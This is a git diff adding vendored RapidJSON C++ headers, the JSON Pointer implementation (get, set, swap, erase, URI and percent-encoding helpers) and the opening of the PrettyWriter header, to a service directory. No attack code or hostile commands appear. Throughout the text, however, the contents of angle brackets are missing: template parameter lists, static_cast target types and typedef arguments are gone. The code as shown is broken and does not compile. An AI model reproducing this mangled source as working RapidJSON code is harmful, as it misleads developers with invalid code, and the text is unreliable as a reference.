non-null, it stores whether the resolved value is already exist. + \return The resolved newly created, or already exists value. + */ + template + ValueType& Create(GenericDocument& document, bool* alreadyExist = 0) const { + return Create(document, document.GetAllocator(), alreadyExist); + } + + //@} + + //!@name Compute URI + //@{ + + //! Compute the in-scope URI for a subtree. + // For use with JSON pointers into JSON schema documents. + /*! + \param root Root value of a DOM sub-tree to be resolved. It can be any value other than document root. + \param rootUri Root URI + \param unresolvedTokenIndex If the pointer cannot resolve a token in the pointer, this parameter can obtain the index of unresolved token. + \param allocator Allocator for Uris + \return Uri if it can be resolved. Otherwise null. + + \note + There are only 3 situations when a URI cannot be resolved: + 1. A value in the path is not an array nor object. + 2. An object value does not contain the token. + 3. A token is out of range of an array value. + + Use unresolvedTokenIndex to retrieve the token index. + */ + UriType GetUri(ValueType& root, const UriType& rootUri, size_t* unresolvedTokenIndex = 0, Allocator* allocator = 0) const { + static const Ch kIdString[] = { 'i', 'd', '\0' }; + static const ValueType kIdValue(kIdString, 2); + UriType base = UriType(rootUri, allocator); + RAPIDJSON_ASSERT(IsValid()); + ValueType* v = &root; + for (const Token *t = tokens_; t != tokens_ + tokenCount_; ++t) { + switch (v->GetType()) { + case kObjectType: + { + // See if we have an id, and if so resolve with the current base + typename ValueType::MemberIterator m = v->FindMember(kIdValue); + if (m != v->MemberEnd() && (m->value).IsString()) { + UriType here = UriType(m->value, allocator).Resolve(base, allocator); + base = here; + } + m = v->FindMember(GenericValue(GenericStringRef(t->name, t->length))); + if (m == v->MemberEnd()) + break; + v = &m->value; + } + continue; + case kArrayType: + if (t->index == kPointerInvalidIndex || t->index >= v->Size()) + break; + v = &((*v)[t->index]); + continue; + default: + break; + } + + // Error: unresolved token + if (unresolvedTokenIndex) + *unresolvedTokenIndex = static_cast(t - tokens_); + return UriType(allocator); + } + return base; + } + + UriType GetUri(const ValueType& root, const UriType& rootUri, size_t* unresolvedTokenIndex = 0, Allocator* allocator = 0) const { + return GetUri(const_cast(root), rootUri, unresolvedTokenIndex, allocator); + } + + + //!@name Query value + //@{ + + //! Query a value in a subtree. + /*! + \param root Root value of a DOM sub-tree to be resolved. It can be any value other than document root. + \param unresolvedTokenIndex If the pointer cannot resolve a token in the pointer, this parameter can obtain the index of unresolved token. + \return Pointer to the value if it can be resolved. Otherwise null. + + \note + There are only 3 situations when a value cannot be resolved: + 1. A value in the path is not an array nor object. + 2. An object value does not contain the token. + 3. A token is out of range of an array value. + + Use unresolvedTokenIndex to retrieve the token index. + */ + ValueType* Get(ValueType& root, size_t* unresolvedTokenIndex = 0) const { + RAPIDJSON_ASSERT(IsValid()); + ValueType* v = &root; + for (const Token *t = tokens_; t != tokens_ + tokenCount_; ++t) { + switch (v->GetType()) { + case kObjectType: + { + typename ValueType::MemberIterator m = v->FindMember(GenericValue(GenericStringRef(t->name, t->length))); + if (m == v->MemberEnd()) + break; + v = &m->value; + } + continue; + case kArrayType: + if (t->index == kPointerInvalidIndex || t->index >= v->Size()) + break; + v = &((*v)[t->index]); + continue; + default: + break; + } + + // Error: unresolved token + if (unresolvedTokenIndex) + *unresolvedTokenIndex = static_cast(t - tokens_); + return 0; + } + return v; + } + + //! Query a const value in a const subtree. + /*! + \param root Root value of a DOM sub-tree to be resolved. It can be any value other than document root. + \return Pointer to the value if it can be resolved. Otherwise null. + */ + const ValueType* Get(const ValueType& root, size_t* unresolvedTokenIndex = 0) const { + return Get(const_cast(root), unresolvedTokenIndex); + } + + //@} + + //!@name Query a value with default + //@{ + + //! Query a value in a subtree with default value. + /*! + Similar to Get(), but if the specified value do not exists, it creates all parents and clone the default value. + So that this function always succeed. + + \param root Root value of a DOM sub-tree to be resolved. It can be any value other than document root. + \param defaultValue Default value to be cloned if the value was not exists. + \param allocator Allocator for creating the values if the specified value or its parents are not exist. + \see Create() + */ + ValueType& GetWithDefault(ValueType& root, const ValueType& defaultValue, typename ValueType::AllocatorType& allocator) const { + bool alreadyExist; + ValueType& v = Create(root, allocator, &alreadyExist); + return alreadyExist ? v : v.CopyFrom(defaultValue, allocator); + } + + //! Query a value in a subtree with default null-terminated string. + ValueType& GetWithDefault(ValueType& root, const Ch* defaultValue, typename ValueType::AllocatorType& allocator) const { + bool alreadyExist; + ValueType& v = Create(root, allocator, &alreadyExist); + return alreadyExist ? v : v.SetString(defaultValue, allocator); + } + +#if RAPIDJSON_HAS_STDSTRING + //! Query a value in a subtree with default std::basic_string. + ValueType& GetWithDefault(ValueType& root, const std::basic_string& defaultValue, typename ValueType::AllocatorType& allocator) const { + bool alreadyExist; + ValueType& v = Create(root, allocator, &alreadyExist); + return alreadyExist ? v : v.SetString(defaultValue, allocator); + } +#endif + + //! Query a value in a subtree with default primitive value. + /*! + \tparam T Either \ref Type, \c int, \c unsigned, \c int64_t, \c uint64_t, \c bool + */ + template + RAPIDJSON_DISABLEIF_RETURN((internal::OrExpr, internal::IsGenericValue >), (ValueType&)) + GetWithDefault(ValueType& root, T defaultValue, typename ValueType::AllocatorType& allocator) const { + return GetWithDefault(root, ValueType(defaultValue).Move(), allocator); + } + + //! Query a value in a document with default value. + template + ValueType& GetWithDefault(GenericDocument& document, const ValueType& defaultValue) const { + return GetWithDefault(document, defaultValue, document.GetAllocator()); + } + + //! Query a value in a document with default null-terminated string. + template + ValueType& GetWithDefault(GenericDocument& document, const Ch* defaultValue) const { + return GetWithDefault(document, defaultValue, document.GetAllocator()); + } + +#if RAPIDJSON_HAS_STDSTRING + //! Query a value in a document with default std::basic_string. + template + ValueType& GetWithDefault(GenericDocument& document, const std::basic_string& defaultValue) const { + return GetWithDefault(document, defaultValue, document.GetAllocator()); + } +#endif + + //! Query a value in a document with default primitive value. + /*! + \tparam T Either \ref Type, \c int, \c unsigned, \c int64_t, \c uint64_t, \c bool + */ + template + RAPIDJSON_DISABLEIF_RETURN((internal::OrExpr, internal::IsGenericValue >), (ValueType&)) + GetWithDefault(GenericDocument& document, T defaultValue) const { + return GetWithDefault(document, defaultValue, document.GetAllocator()); + } + + //@} + + //!@name Set a value + //@{ + + //! Set a value in a subtree, with move semantics. + /*! + It creates all parents if they are not exist or types are different to the tokens. + So this function always succeeds but potentially remove existing values. + + \param root Root value of a DOM sub-tree to be resolved. It can be any value other than document root. + \param value Value to be set. + \param allocator Allocator for creating the values if the specified value or its parents are not exist. + \see Create() + */ + ValueType& Set(ValueType& root, ValueType& value, typename ValueType::AllocatorType& allocator) const { + return Create(root, allocator) = value; + } + + //! Set a value in a subtree, with copy semantics. + ValueType& Set(ValueType& root, const ValueType& value, typename ValueType::AllocatorType& allocator) const { + return Create(root, allocator).CopyFrom(value, allocator); + } + + //! Set a null-terminated string in a subtree. + ValueType& Set(ValueType& root, const Ch* value, typename ValueType::AllocatorType& allocator) const { + return Create(root, allocator) = ValueType(value, allocator).Move(); + } + +#if RAPIDJSON_HAS_STDSTRING + //! Set a std::basic_string in a subtree. + ValueType& Set(ValueType& root, const std::basic_string& value, typename ValueType::AllocatorType& allocator) const { + return Create(root, allocator) = ValueType(value, allocator).Move(); + } +#endif + + //! Set a primitive value in a subtree. + /*! + \tparam T Either \ref Type, \c int, \c unsigned, \c int64_t, \c uint64_t, \c bool + */ + template + RAPIDJSON_DISABLEIF_RETURN((internal::OrExpr, internal::IsGenericValue >), (ValueType&)) + Set(ValueType& root, T value, typename ValueType::AllocatorType& allocator) const { + return Create(root, allocator) = ValueType(value).Move(); + } + + //! Set a value in a document, with move semantics. + template + ValueType& Set(GenericDocument& document, ValueType& value) const { + return Create(document) = value; + } + + //! Set a value in a document, with copy semantics. + template + ValueType& Set(GenericDocument& document, const ValueType& value) const { + return Create(document).CopyFrom(value, document.GetAllocator()); + } + + //! Set a null-terminated string in a document. + template + ValueType& Set(GenericDocument& document, const Ch* value) const { + return Create(document) = ValueType(value, document.GetAllocator()).Move(); + } + +#if RAPIDJSON_HAS_STDSTRING + //! Sets a std::basic_string in a document. + template + ValueType& Set(GenericDocument& document, const std::basic_string& value) const { + return Create(document) = ValueType(value, document.GetAllocator()).Move(); + } +#endif + + //! Set a primitive value in a document. + /*! + \tparam T Either \ref Type, \c int, \c unsigned, \c int64_t, \c uint64_t, \c bool + */ + template + RAPIDJSON_DISABLEIF_RETURN((internal::OrExpr, internal::IsGenericValue >), (ValueType&)) + Set(GenericDocument& document, T value) const { + return Create(document) = value; + } + + //@} + + //!@name Swap a value + //@{ + + //! Swap a value with a value in a subtree. + /*! + It creates all parents if they are not exist or types are different to the tokens. + So this function always succeeds but potentially remove existing values. + + \param root Root value of a DOM sub-tree to be resolved. It can be any value other than document root. + \param value Value to be swapped. + \param allocator Allocator for creating the values if the specified value or its parents are not exist. + \see Create() + */ + ValueType& Swap(ValueType& root, ValueType& value, typename ValueType::AllocatorType& allocator) const { + return Create(root, allocator).Swap(value); + } + + //! Swap a value with a value in a document. + template + ValueType& Swap(GenericDocument& document, ValueType& value) const { + return Create(document).Swap(value); + } + + //@} + + //! Erase a value in a subtree. + /*! + \param root Root value of a DOM sub-tree to be resolved. It can be any value other than document root. + \return Whether the resolved value is found and erased. + + \note Erasing with an empty pointer \c Pointer(""), i.e. the root, always fail and return false. + */ + bool Erase(ValueType& root) const { + RAPIDJSON_ASSERT(IsValid()); + if (tokenCount_ == 0) // Cannot erase the root + return false; + + ValueType* v = &root; + const Token* last = tokens_ + (tokenCount_ - 1); + for (const Token *t = tokens_; t != last; ++t) { + switch (v->GetType()) { + case kObjectType: + { + typename ValueType::MemberIterator m = v->FindMember(GenericValue(GenericStringRef(t->name, t->length))); + if (m == v->MemberEnd()) + return false; + v = &m->value; + } + break; + case kArrayType: + if (t->index == kPointerInvalidIndex || t->index >= v->Size()) + return false; + v = &((*v)[t->index]); + break; + default: + return false; + } + } + + switch (v->GetType()) { + case kObjectType: + return v->EraseMember(GenericStringRef(last->name, last->length)); + case kArrayType: + if (last->index == kPointerInvalidIndex || last->index >= v->Size()) + return false; + v->Erase(v->Begin() + last->index); + return true; + default: + return false; + } + } + +private: + //! Clone the content from rhs to this. + /*! + \param rhs Source pointer. + \param extraToken Extra tokens to be allocated. + \param extraNameBufferSize Extra name buffer size (in number of Ch) to be allocated. + \return Start of non-occupied name buffer, for storing extra names. + */ + Ch* CopyFromRaw(const GenericPointer& rhs, size_t extraToken = 0, size_t extraNameBufferSize = 0) { + if (!allocator_) // allocator is independently owned. + ownAllocator_ = allocator_ = RAPIDJSON_NEW(Allocator)(); + + size_t nameBufferSize = rhs.tokenCount_; // null terminators for tokens + for (Token *t = rhs.tokens_; t != rhs.tokens_ + rhs.tokenCount_; ++t) + nameBufferSize += t->length; + + tokenCount_ = rhs.tokenCount_ + extraToken; + tokens_ = static_cast(allocator_->Malloc(tokenCount_ * sizeof(Token) + (nameBufferSize + extraNameBufferSize) * sizeof(Ch))); + nameBuffer_ = reinterpret_cast(tokens_ + tokenCount_); + if (rhs.tokenCount_ > 0) { + std::memcpy(tokens_, rhs.tokens_, rhs.tokenCount_ * sizeof(Token)); + } + if (nameBufferSize > 0) { + std::memcpy(nameBuffer_, rhs.nameBuffer_, nameBufferSize * sizeof(Ch)); + } + + // Adjust pointers to name buffer + std::ptrdiff_t diff = nameBuffer_ - rhs.nameBuffer_; + for (Token *t = tokens_; t != tokens_ + rhs.tokenCount_; ++t) + t->name += diff; + + return nameBuffer_ + nameBufferSize; + } + + //! Check whether a character should be percent-encoded. + /*! + According to RFC 3986 2.3 Unreserved Characters. + \param c The character (code unit) to be tested. + */ + bool NeedPercentEncode(Ch c) const { + return !((c >= '0' && c <= '9') || (c >= 'A' && c <='Z') || (c >= 'a' && c <= 'z') || c == '-' || c == '.' || c == '_' || c =='~'); + } + + //! Parse a JSON String or its URI fragment representation into tokens. +#ifndef __clang__ // -Wdocumentation + /*! + \param source Either a JSON Pointer string, or its URI fragment representation. Not need to be null terminated. + \param length Length of the source string. + \note Source cannot be JSON String Representation of JSON Pointer, e.g. In "/\u0000", \u0000 will not be unescaped. + */ +#endif + void Parse(const Ch* source, size_t length) { + RAPIDJSON_ASSERT(source != NULL); + RAPIDJSON_ASSERT(nameBuffer_ == 0); + RAPIDJSON_ASSERT(tokens_ == 0); + + // Create own allocator if user did not supply. + if (!allocator_) + ownAllocator_ = allocator_ = RAPIDJSON_NEW(Allocator)(); + + // Count number of '/' as tokenCount + tokenCount_ = 0; + for (const Ch* s = source; s != source + length; s++) + if (*s == '/') + tokenCount_++; + + Token* token = tokens_ = static_cast(allocator_->Malloc(tokenCount_ * sizeof(Token) + length * sizeof(Ch))); + Ch* name = nameBuffer_ = reinterpret_cast(tokens_ + tokenCount_); + size_t i = 0; + + // Detect if it is a URI fragment + bool uriFragment = false; + if (source[i] == '#') { + uriFragment = true; + i++; + } + + if (i != length && source[i] != '/') { + parseErrorCode_ = kPointerParseErrorTokenMustBeginWithSolidus; + goto error; + } + + while (i < length) { + RAPIDJSON_ASSERT(source[i] == '/'); + i++; // consumes '/' + + token->name = name; + bool isNumber = true; + + while (i < length && source[i] != '/') { + Ch c = source[i]; + if (uriFragment) { + // Decoding percent-encoding for URI fragment + if (c == '%') { + PercentDecodeStream is(&source[i], source + length); + GenericInsituStringStream os(name); + Ch* begin = os.PutBegin(); + if (!Transcoder, EncodingType>().Validate(is, os) || !is.IsValid()) { + parseErrorCode_ = kPointerParseErrorInvalidPercentEncoding; + goto error; + } + size_t len = os.PutEnd(begin); + i += is.Tell() - 1; + if (len == 1) + c = *name; + else { + name += len; + isNumber = false; + i++; + continue; + } + } + else if (NeedPercentEncode(c)) { + parseErrorCode_ = kPointerParseErrorCharacterMustPercentEncode; + goto error; + } + } + + i++; + + // Escaping "~0" -> '~', "~1" -> '/' + if (c == '~') { + if (i < length) { + c = source[i]; + if (c == '0') c = '~'; + else if (c == '1') c = '/'; + else { + parseErrorCode_ = kPointerParseErrorInvalidEscape; + goto error; + } + i++; + } + else { + parseErrorCode_ = kPointerParseErrorInvalidEscape; + goto error; + } + } + + // First check for index: all of characters are digit + if (c < '0' || c > '9') + isNumber = false; + + *name++ = c; + } + token->length = static_cast(name - token->name); + if (token->length == 0) + isNumber = false; + *name++ = '\0'; // Null terminator + + // Second check for index: more than one digit cannot have leading zero + if (isNumber && token->length > 1 && token->name[0] == '0') + isNumber = false; + + // String to SizeType conversion + SizeType n = 0; + if (isNumber) { + for (size_t j = 0; j < token->length; j++) { + SizeType m = n * 10 + static_cast(token->name[j] - '0'); + if (m < n) { // overflow detection + isNumber = false; + break; + } + n = m; + } + } + + token->index = isNumber ? n : kPointerInvalidIndex; + token++; + } + + RAPIDJSON_ASSERT(name <= nameBuffer_ + length); // Should not overflow buffer + parseErrorCode_ = kPointerParseErrorNone; + return; + + error: + Allocator::Free(tokens_); + nameBuffer_ = 0; + tokens_ = 0; + tokenCount_ = 0; + parseErrorOffset_ = i; + return; + } + + //! Stringify to string or URI fragment representation. + /*! + \tparam uriFragment True for stringifying to URI fragment representation. False for string representation. + \tparam OutputStream type of output stream. + \param os The output stream. + */ + template + bool Stringify(OutputStream& os) const { + RAPIDJSON_ASSERT(IsValid()); + + if (uriFragment) + os.Put('#'); + + for (Token *t = tokens_; t != tokens_ + tokenCount_; ++t) { + os.Put('/'); + for (size_t j = 0; j < t->length; j++) { + Ch c = t->name[j]; + if (c == '~') { + os.Put('~'); + os.Put('0'); + } + else if (c == '/') { + os.Put('~'); + os.Put('1'); + } + else if (uriFragment && NeedPercentEncode(c)) { + // Transcode to UTF8 sequence + GenericStringStream source(&t->name[j]); + PercentEncodeStream target(os); + if (!Transcoder >().Validate(source, target)) + return false; + j += source.Tell() - 1; + } + else + os.Put(c); + } + } + return true; + } + + //! A helper stream for decoding a percent-encoded sequence into code unit. + /*! + This stream decodes %XY triplet into code unit (0-255). + If it encounters invalid characters, it sets output code unit as 0 and + mark invalid, and to be checked by IsValid(). + */ + class PercentDecodeStream { + public: + typedef typename ValueType::Ch Ch; + + //! Constructor + /*! + \param source Start of the stream + \param end Past-the-end of the stream. + */ + PercentDecodeStream(const Ch* source, const Ch* end) : src_(source), head_(source), end_(end), valid_(true) {} + + Ch Take() { + if (*src_ != '%' || src_ + 3 > end_) { // %XY triplet + valid_ = false; + return 0; + } + src_++; + Ch c = 0; + for (int j = 0; j < 2; j++) { + c = static_cast(c << 4); + Ch h = *src_; + if (h >= '0' && h <= '9') c = static_cast(c + h - '0'); + else if (h >= 'A' && h <= 'F') c = static_cast(c + h - 'A' + 10); + else if (h >= 'a' && h <= 'f') c = static_cast(c + h - 'a' + 10); + else { + valid_ = false; + return 0; + } + src_++; + } + return c; + } + + size_t Tell() const { return static_cast(src_ - head_); } + bool IsValid() const { return valid_; } + + private: + const Ch* src_; //!< Current read position. + const Ch* head_; //!< Original head of the string. + const Ch* end_; //!< Past-the-end position. + bool valid_; //!< Whether the parsing is valid. + }; + + //! A helper stream to encode character (UTF-8 code unit) into percent-encoded sequence. + template + class PercentEncodeStream { + public: + PercentEncodeStream(OutputStream& os) : os_(os) {} + void Put(char c) { // UTF-8 must be byte + unsigned char u = static_cast(c); + static const char hexDigits[16] = { '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'A', 'B', 'C', 'D', 'E', 'F' }; + os_.Put('%'); + os_.Put(static_cast(hexDigits[u >> 4])); + os_.Put(static_cast(hexDigits[u & 15])); + } + private: + OutputStream& os_; + }; + + Allocator* allocator_; //!< The current allocator. It is either user-supplied or equal to ownAllocator_. + Allocator* ownAllocator_; //!< Allocator owned by this Pointer. + Ch* nameBuffer_; //!< A buffer containing all names in tokens. + Token* tokens_; //!< A list of tokens. + size_t tokenCount_; //!< Number of tokens in tokens_. + size_t parseErrorOffset_; //!< Offset in code unit when parsing fail. + PointerParseErrorCode parseErrorCode_; //!< Parsing error code. +}; + +//! GenericPointer for Value (UTF-8, default allocator). +typedef GenericPointer Pointer; + +//!@name Helper functions for GenericPointer +//@{ + +////////////////////////////////////////////////////////////////////////////// + +template +typename T::ValueType& CreateValueByPointer(T& root, const GenericPointer& pointer, typename T::AllocatorType& a) { + return pointer.Create(root, a); +} + +template +typename T::ValueType& CreateValueByPointer(T& root, const CharType(&source)[N], typename T::AllocatorType& a) { + return GenericPointer(source, N - 1).Create(root, a); +} + +// No allocator parameter + +template +typename DocumentType::ValueType& CreateValueByPointer(DocumentType& document, const GenericPointer& pointer) { + return pointer.Create(document); +} + +template +typename DocumentType::ValueType& CreateValueByPointer(DocumentType& document, const CharType(&source)[N]) { + return GenericPointer(source, N - 1).Create(document); +} + +////////////////////////////////////////////////////////////////////////////// + +template +typename T::ValueType* GetValueByPointer(T& root, const GenericPointer& pointer, size_t* unresolvedTokenIndex = 0) { + return pointer.Get(root, unresolvedTokenIndex); +} + +template +const typename T::ValueType* GetValueByPointer(const T& root, const GenericPointer& pointer, size_t* unresolvedTokenIndex = 0) { + return pointer.Get(root, unresolvedTokenIndex); +} + +template +typename T::ValueType* GetValueByPointer(T& root, const CharType (&source)[N], size_t* unresolvedTokenIndex = 0) { + return GenericPointer(source, N - 1).Get(root, unresolvedTokenIndex); +} + +template +const typename T::ValueType* GetValueByPointer(const T& root, const CharType(&source)[N], size_t* unresolvedTokenIndex = 0) { + return GenericPointer(source, N - 1).Get(root, unresolvedTokenIndex); +} + +////////////////////////////////////////////////////////////////////////////// + +template +typename T::ValueType& GetValueByPointerWithDefault(T& root, const GenericPointer& pointer, const typename T::ValueType& defaultValue, typename T::AllocatorType& a) { + return pointer.GetWithDefault(root, defaultValue, a); +} + +template +typename T::ValueType& GetValueByPointerWithDefault(T& root, const GenericPointer& pointer, const typename T::Ch* defaultValue, typename T::AllocatorType& a) { + return pointer.GetWithDefault(root, defaultValue, a); +} + +#if RAPIDJSON_HAS_STDSTRING +template +typename T::ValueType& GetValueByPointerWithDefault(T& root, const GenericPointer& pointer, const std::basic_string& defaultValue, typename T::AllocatorType& a) { + return pointer.GetWithDefault(root, defaultValue, a); +} +#endif + +template +RAPIDJSON_DISABLEIF_RETURN((internal::OrExpr, internal::IsGenericValue >), (typename T::ValueType&)) +GetValueByPointerWithDefault(T& root, const GenericPointer& pointer, T2 defaultValue, typename T::AllocatorType& a) { + return pointer.GetWithDefault(root, defaultValue, a); +} + +template +typename T::ValueType& GetValueByPointerWithDefault(T& root, const CharType(&source)[N], const typename T::ValueType& defaultValue, typename T::AllocatorType& a) { + return GenericPointer(source, N - 1).GetWithDefault(root, defaultValue, a); +} + +template +typename T::ValueType& GetValueByPointerWithDefault(T& root, const CharType(&source)[N], const typename T::Ch* defaultValue, typename T::AllocatorType& a) { + return GenericPointer(source, N - 1).GetWithDefault(root, defaultValue, a); +} + +#if RAPIDJSON_HAS_STDSTRING +template +typename T::ValueType& GetValueByPointerWithDefault(T& root, const CharType(&source)[N], const std::basic_string& defaultValue, typename T::AllocatorType& a) { + return GenericPointer(source, N - 1).GetWithDefault(root, defaultValue, a); +} +#endif + +template +RAPIDJSON_DISABLEIF_RETURN((internal::OrExpr, internal::IsGenericValue >), (typename T::ValueType&)) +GetValueByPointerWithDefault(T& root, const CharType(&source)[N], T2 defaultValue, typename T::AllocatorType& a) { + return GenericPointer(source, N - 1).GetWithDefault(root, defaultValue, a); +} + +// No allocator parameter + +template +typename DocumentType::ValueType& GetValueByPointerWithDefault(DocumentType& document, const GenericPointer& pointer, const typename DocumentType::ValueType& defaultValue) { + return pointer.GetWithDefault(document, defaultValue); +} + +template +typename DocumentType::ValueType& GetValueByPointerWithDefault(DocumentType& document, const GenericPointer& pointer, const typename DocumentType::Ch* defaultValue) { + return pointer.GetWithDefault(document, defaultValue); +} + +#if RAPIDJSON_HAS_STDSTRING +template +typename DocumentType::ValueType& GetValueByPointerWithDefault(DocumentType& document, const GenericPointer& pointer, const std::basic_string& defaultValue) { + return pointer.GetWithDefault(document, defaultValue); +} +#endif + +template +RAPIDJSON_DISABLEIF_RETURN((internal::OrExpr, internal::IsGenericValue >), (typename DocumentType::ValueType&)) +GetValueByPointerWithDefault(DocumentType& document, const GenericPointer& pointer, T2 defaultValue) { + return pointer.GetWithDefault(document, defaultValue); +} + +template +typename DocumentType::ValueType& GetValueByPointerWithDefault(DocumentType& document, const CharType(&source)[N], const typename DocumentType::ValueType& defaultValue) { + return GenericPointer(source, N - 1).GetWithDefault(document, defaultValue); +} + +template +typename DocumentType::ValueType& GetValueByPointerWithDefault(DocumentType& document, const CharType(&source)[N], const typename DocumentType::Ch* defaultValue) { + return GenericPointer(source, N - 1).GetWithDefault(document, defaultValue); +} + +#if RAPIDJSON_HAS_STDSTRING +template +typename DocumentType::ValueType& GetValueByPointerWithDefault(DocumentType& document, const CharType(&source)[N], const std::basic_string& defaultValue) { + return GenericPointer(source, N - 1).GetWithDefault(document, defaultValue); +} +#endif + +template +RAPIDJSON_DISABLEIF_RETURN((internal::OrExpr, internal::IsGenericValue >), (typename DocumentType::ValueType&)) +GetValueByPointerWithDefault(DocumentType& document, const CharType(&source)[N], T2 defaultValue) { + return GenericPointer(source, N - 1).GetWithDefault(document, defaultValue); +} + +////////////////////////////////////////////////////////////////////////////// + +template +typename T::ValueType& SetValueByPointer(T& root, const GenericPointer& pointer, typename T::ValueType& value, typename T::AllocatorType& a) { + return pointer.Set(root, value, a); +} + +template +typename T::ValueType& SetValueByPointer(T& root, const GenericPointer& pointer, const typename T::ValueType& value, typename T::AllocatorType& a) { + return pointer.Set(root, value, a); +} + +template +typename T::ValueType& SetValueByPointer(T& root, const GenericPointer& pointer, const typename T::Ch* value, typename T::AllocatorType& a) { + return pointer.Set(root, value, a); +} + +#if RAPIDJSON_HAS_STDSTRING +template +typename T::ValueType& SetValueByPointer(T& root, const GenericPointer& pointer, const std::basic_string& value, typename T::AllocatorType& a) { + return pointer.Set(root, value, a); +} +#endif + +template +RAPIDJSON_DISABLEIF_RETURN((internal::OrExpr, internal::IsGenericValue >), (typename T::ValueType&)) +SetValueByPointer(T& root, const GenericPointer& pointer, T2 value, typename T::AllocatorType& a) { + return pointer.Set(root, value, a); +} + +template +typename T::ValueType& SetValueByPointer(T& root, const CharType(&source)[N], typename T::ValueType& value, typename T::AllocatorType& a) { + return GenericPointer(source, N - 1).Set(root, value, a); +} + +template +typename T::ValueType& SetValueByPointer(T& root, const CharType(&source)[N], const typename T::ValueType& value, typename T::AllocatorType& a) { + return GenericPointer(source, N - 1).Set(root, value, a); +} + +template +typename T::ValueType& SetValueByPointer(T& root, const CharType(&source)[N], const typename T::Ch* value, typename T::AllocatorType& a) { + return GenericPointer(source, N - 1).Set(root, value, a); +} + +#if RAPIDJSON_HAS_STDSTRING +template +typename T::ValueType& SetValueByPointer(T& root, const CharType(&source)[N], const std::basic_string& value, typename T::AllocatorType& a) { + return GenericPointer(source, N - 1).Set(root, value, a); +} +#endif + +template +RAPIDJSON_DISABLEIF_RETURN((internal::OrExpr, internal::IsGenericValue >), (typename T::ValueType&)) +SetValueByPointer(T& root, const CharType(&source)[N], T2 value, typename T::AllocatorType& a) { + return GenericPointer(source, N - 1).Set(root, value, a); +} + +// No allocator parameter + +template +typename DocumentType::ValueType& SetValueByPointer(DocumentType& document, const GenericPointer& pointer, typename DocumentType::ValueType& value) { + return pointer.Set(document, value); +} + +template +typename DocumentType::ValueType& SetValueByPointer(DocumentType& document, const GenericPointer& pointer, const typename DocumentType::ValueType& value) { + return pointer.Set(document, value); +} + +template +typename DocumentType::ValueType& SetValueByPointer(DocumentType& document, const GenericPointer& pointer, const typename DocumentType::Ch* value) { + return pointer.Set(document, value); +} + +#if RAPIDJSON_HAS_STDSTRING +template +typename DocumentType::ValueType& SetValueByPointer(DocumentType& document, const GenericPointer& pointer, const std::basic_string& value) { + return pointer.Set(document, value); +} +#endif + +template +RAPIDJSON_DISABLEIF_RETURN((internal::OrExpr, internal::IsGenericValue >), (typename DocumentType::ValueType&)) +SetValueByPointer(DocumentType& document, const GenericPointer& pointer, T2 value) { + return pointer.Set(document, value); +} + +template +typename DocumentType::ValueType& SetValueByPointer(DocumentType& document, const CharType(&source)[N], typename DocumentType::ValueType& value) { + return GenericPointer(source, N - 1).Set(document, value); +} + +template +typename DocumentType::ValueType& SetValueByPointer(DocumentType& document, const CharType(&source)[N], const typename DocumentType::ValueType& value) { + return GenericPointer(source, N - 1).Set(document, value); +} + +template +typename DocumentType::ValueType& SetValueByPointer(DocumentType& document, const CharType(&source)[N], const typename DocumentType::Ch* value) { + return GenericPointer(source, N - 1).Set(document, value); +} + +#if RAPIDJSON_HAS_STDSTRING +template +typename DocumentType::ValueType& SetValueByPointer(DocumentType& document, const CharType(&source)[N], const std::basic_string& value) { + return GenericPointer(source, N - 1).Set(document, value); +} +#endif + +template +RAPIDJSON_DISABLEIF_RETURN((internal::OrExpr, internal::IsGenericValue >), (typename DocumentType::ValueType&)) +SetValueByPointer(DocumentType& document, const CharType(&source)[N], T2 value) { + return GenericPointer(source, N - 1).Set(document, value); +} + +////////////////////////////////////////////////////////////////////////////// + +template +typename T::ValueType& SwapValueByPointer(T& root, const GenericPointer& pointer, typename T::ValueType& value, typename T::AllocatorType& a) { + return pointer.Swap(root, value, a); +} + +template +typename T::ValueType& SwapValueByPointer(T& root, const CharType(&source)[N], typename T::ValueType& value, typename T::AllocatorType& a) { + return GenericPointer(source, N - 1).Swap(root, value, a); +} + +template +typename DocumentType::ValueType& SwapValueByPointer(DocumentType& document, const GenericPointer& pointer, typename DocumentType::ValueType& value) { + return pointer.Swap(document, value); +} + +template +typename DocumentType::ValueType& SwapValueByPointer(DocumentType& document, const CharType(&source)[N], typename DocumentType::ValueType& value) { + return GenericPointer(source, N - 1).Swap(document, value); +} + +////////////////////////////////////////////////////////////////////////////// + +template +bool EraseValueByPointer(T& root, const GenericPointer& pointer) { + return pointer.Erase(root); +} + +template +bool EraseValueByPointer(T& root, const CharType(&source)[N]) { + return GenericPointer(source, N - 1).Erase(root); +} + +//@} + +RAPIDJSON_NAMESPACE_END + +#if defined(__clang__) || defined(_MSC_VER) +RAPIDJSON_DIAG_POP +#endif + +#endif // RAPIDJSON_POINTER_H_ diff --git a/services/service2/src/auth_service/rapidjson/prettywriter.h b/services/service2/src/auth_service/rapidjson/prettywriter.h new file mode 100644 index 0000000..fe45df1 --- /dev/null +++ b/services/service2/src/auth_service/rapidjson/prettywriter.h @@ -0,0 +1,277 @@ +// Tencent is pleased to support the open source community by making RapidJSON available. +// +// Copyright (C) 2015 THL A29 Limited, a Tencent company, and Milo Yip. +// +// Licensed under the MIT License (the "License"); you may not use this file except +// in compliance with the License. You may obtain a copy of the License at +// +// http://opensource.org/licenses/MIT +// +// Unless required by applicable law or agreed to in writing, software distributed +// under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR +// CONDITIONS OF ANY KIND, either express or implied. See the License for the +// specific language governing permissions and limitations under the License. + +#ifndef RAPIDJSON_PRETTYWRITER_H_ +#define RAPIDJSON_PRETTYWRITER_H_ + +#include "writer.h" + +#ifdef __GNUC__ +RAPIDJSON_DIAG_PUSH +RAPIDJSON_DIAG_OFF(effc++) +#endif + +#if defined(__clang__) +RAPIDJSON_DIAG_PUSH +RAPIDJSON_DIAG_OFF(c++98-compat) +#endif + +RAPIDJSON_NAMESPACE_BEGIN + +//! Combination of PrettyWriter format flags. +/*! \see PrettyWriter::SetFormatOptions + */ +enum PrettyFormatOptions { + kFormatDefault = 0, //!< Default pretty formatting. + kFormatSingleLineArray = 1 //!< Format arrays on a single line. +}; + +//! Writer with indentation and spacing. +/*! + \tparam OutputStream Type of output os. + \tparam SourceEncoding Encoding of source string. + \tparam TargetEncoding Encoding of output stream. + \tparam StackAllocator Type of allocator for allocating memory of stack. +*/ +template, typename TargetEncoding = UTF8<>, typename StackAllocator = CrtAllocator, unsigned writeFlags = kWriteDefaultFlags> +class PrettyWriter : public Writer { +public: + typedef Writer 